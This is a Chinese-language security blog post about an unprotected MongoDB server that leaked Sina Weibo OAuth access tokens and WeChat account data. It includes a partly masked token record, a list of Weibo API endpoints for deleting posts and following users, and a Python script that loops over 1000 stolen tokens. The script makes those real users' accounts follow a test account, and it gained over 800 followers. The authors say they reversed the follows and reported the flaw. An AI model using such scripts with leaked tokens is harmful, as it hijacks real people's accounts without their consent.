背景
在前段時(shí)間邪紅F1,2,4發(fā)出《Mongodb unauthorized access vulnerability global probing report》后,我們對(duì)這些受影響的列表進(jìn)行了簡單的數(shù)據(jù)分析,其中發(fā)現(xiàn)了一個(gè)有趣的主機(jī)。
數(shù)據(jù)泄露
其中這臺(tái)Mongodb數(shù)據(jù)主機(jī)存儲(chǔ)著大量的微信公眾號(hào)信息,新浪微博授權(quán)信息等敏感信息,其中我們對(duì)新浪微博授權(quán)信息進(jìn)行簡單的測試。
測試過程
篩選1000條存儲(chǔ)的用戶新浪微博的授權(quán)數(shù)據(jù),其中格式為:
{"_modified":ISODate("2014-09-14T06:30:33.718Z"),"_created":ISODate("2014-09-14T06:30:33.718Z"),"uid":"163****265","url":"u/163****265","name":"貓****","screenName":"貓****","accessToken":"2.00LniemB******d10ba02ef5oEMJTB","description":"","verified":false,"logo":"http://tp2.sinaimg.cn/1635102265/50/4000*****04/1","logoLarge":"http://tp2.sinaimg.cn/1635102265/180/4000*****04/1","type":"normal","_id":"14872d****48a87"}
其中數(shù)據(jù)泄露新浪微博用戶授權(quán)成功后的accessToken值,將數(shù)據(jù)以JSON進(jìn)行導(dǎo)出后使用Python進(jìn)行處理,提取出1000條accessToken方便進(jìn)行測試。
statuses/user_timeline/ids 獲取用戶發(fā)布的微博的ID
statuses/destroy 根據(jù)微博ID刪除指定微博
friendships/create 關(guān)注一個(gè)用戶
之后我們使用關(guān)注用戶API進(jìn)行簡單的測試,編寫腳本批量的利用泄露的accessToken值進(jìn)行關(guān)注用戶:
#!/usr/bin/env python# coding=utf8# author=evi1m0#ff0000teamimportrequestsf=open('./accessToken.txt','r')flag=1foriinf:api_url='https://api.weibo.com/2/friendships/create.json'post={"uid":"5238604657","access_token":i.split()}requests.post(api_url,data=post)flag+=1print'[*] '+str(flag)+': '+api_urlprintpostprint
其中uid為關(guān)注用戶的UID,遍歷./accessToken.txt中的accessToken進(jìn)行請(qǐng)求,于是不一會(huì)兒的功夫我們測試微博收到了新增800多個(gè)粉絲的消息,后面我們又利用取消關(guān)注API進(jìn)行了取消操作。
狀態(tài)
我們沒有對(duì)這些數(shù)據(jù)進(jìn)行惡意利用,目前已提交給官方進(jìn)行及時(shí)修復(fù):)